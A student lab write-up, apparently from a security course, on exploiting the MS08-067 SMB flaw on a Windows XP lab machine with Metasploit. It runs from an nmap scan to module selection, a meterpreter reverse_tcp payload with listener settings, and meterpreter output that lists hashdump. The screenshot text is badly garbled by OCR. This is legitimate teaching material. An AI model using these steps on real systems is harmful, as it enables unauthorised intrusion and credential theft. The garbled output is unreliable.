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Task A.
Exploit SMB on Windows XP with Metasploit (20 pt, 2pt each)

In this task, you need to complete the following steps to exploit SMB vulnerability on Windows
XP.

1. Run a port scan against Windows XP using nmap command to identify open ports and
Services.
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(The above screen shot shows a nmap scan of the Windows XP Server 192.168.10.14 to find
open ports and services. The option -sV was used to detect version information).

2. ldentify the SMB port number (default: 445) and confirm that it is open.
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# nmap -sV 192.168.10.14
Starting Nmap 7.70 ( http //nmap.org ) at 2024-03-16 15:30 EDT
ghmap scan report for 192.168.10.14
Host is up (0.0088s latency).
YANot shown: 997 closed ports
PORT STATE SERVICE VERSION
5/tcp Microsoft Windows RPC
ssn  Microsoft Windows netbios-ssn
microsoft-ds Microsoft Windows XP microsoft-d
ys. 00 50:40:57:09 (Microsoft)
Service Info: 0Ss: Windows, Windows XP; CPE: cpe:/o:microsoft:windows,
crosoft:windows xp

e detection performed. Ple report any incorrect results at http

org/submit/
Nmap do 1 IP addr (1 host up) scanned in 8.15 2conds

#1

Summary
CS301-JRUSS020: 1 virtual machine selected.
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(In the above screenshot, port 445 the SMB port is open)

3. Launch Metasploit Framework and search for the exploit module: ms08 067 _netapi
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3 ev:

08_067netapi
from search
'ms 08 067netapi
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auxiliary/admin/appletv/appletv display image normal

Image Remote Control
v/appletv displ norm Apple T
2 liary/admin/backupexec/dump normal Veritas
Backup Exec Windows Remote File Acc
3 iliary/admin/chromecast/chromecast reset normal 0 Chromec
ast Factory R DoS
4 E dmin/cisco/cisco_asa_extrabacon normal Yes Cisco A
(EXTRABACON)

Summary
CS301-JRUSS020: 1 virtual machine selected. \
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(In the above screenshot, a search for ms 08 067 netapi was performed)

4. Use ms08_067_netapi as the exploit module and set meterpreter reverse_tcp as the payload.
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16 exploit/windows/fileformat/varicad dwb -03- great N VariCAD 2010-2.05 EN
DWB File) Stack Buffer Overflow
17 exploit/windows/ftp/globalscapeftp_input -05- great GlobalSCAPE Secure FTP
Server Input rflo
E 18 exploit/windows/http/hp nnm_toolbar 01 0 great N View Network No|
Extarnal.and Tng . de Man _,; Tooibar.exe CGT BUFTar GverFlow ‘
9 exploit/windows/http/sysax create fol -07- normal
4 Create Folder Buffer Overflow
20 exploit/windows/http/xitami if mod since 2 -09- average
r If-Modified-Since Overflow
21 exploit/windows/scada/indusoft webstudio exec - 0 excellent InduSoft Web Studio
bitrary Upload Remote Code Execution
xploit/windows/smb/ms@3 049 netapi good ! MS03-849 Micro
tation Service NetAddAlternateComputerName Overflow
window b/ms@6_046_ netapi 2006-08- good MS06-040 Microsoft
ce NetpwPath 1
ploit/windc S 3 -11- manual MS06-070 Microsoft
Machine kstation Service NetpManageIPCConnect Overflow
A ', 25 2 great 3 MSe8-067 Microsoft

ver Service Relative Path Stack Corruption
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exploit( )

) Mwore Workstatio.. 3 Kali - Intemal Work..

EF Kali - Internal Workstation on C5301-JRUSS020 - Virtual Machine Connection
File Action Media Clipboard View Help
@0 n B> B
Applications v Places v ‘_:B Terminal » Sat 16:33

Logininfo

root@CS2APenTest: ~

File Edit View Search Terminal Help
> set payload windows/meterpreter/r
payload => windows/meterpreter/reverse tcp
Wiere Horkatats msf5 exploit( ) > show options
External and Int]
Login:
Password|

. Module options (exploit/windows/smb/mse8 667 netapi):

Name Current Setting uired Description

indows 7 WorksS RHOSTS  192.168.10.14 yes The target address range or CIDR identifier
oglits RPORT 445 yes port (TCP)
Passwordina SMBPIPE BROWSER yes = pipe name to use (BROWSER, SRVSVC)

Ubuntu 17.81
Uoerna P! Payload options (windows/meterpreter/reverse tcp)
M Name Current Setting Reauircad B
Windows Server 2]
EXITFUNC thread yes Exit technique (Accepted: seh, cess, none
LHOST 192.168.10.13  yes The listen addr (an interface may be
LPORT 4428 yes The listen port

bt
T

Exploit target

b
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(In the above screenshot the meterpreter is set to a reverse tcp as payload)

5. Use XXXX (follow the lab instruction) as the listening port number. Configure the rest of the
parameters. Display your configurations and exploit the target.
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Command Description

hashdump Dumps the contents of the SAM database
mestomp Commands

Description
Manipulate file MACE attribut

> sysinfo
ORG - JLF9IOGWXFM
Windows XP (Build 26! ervice Pack 3).

Domain WORKGROUP
ed On Users
/window
meterpret
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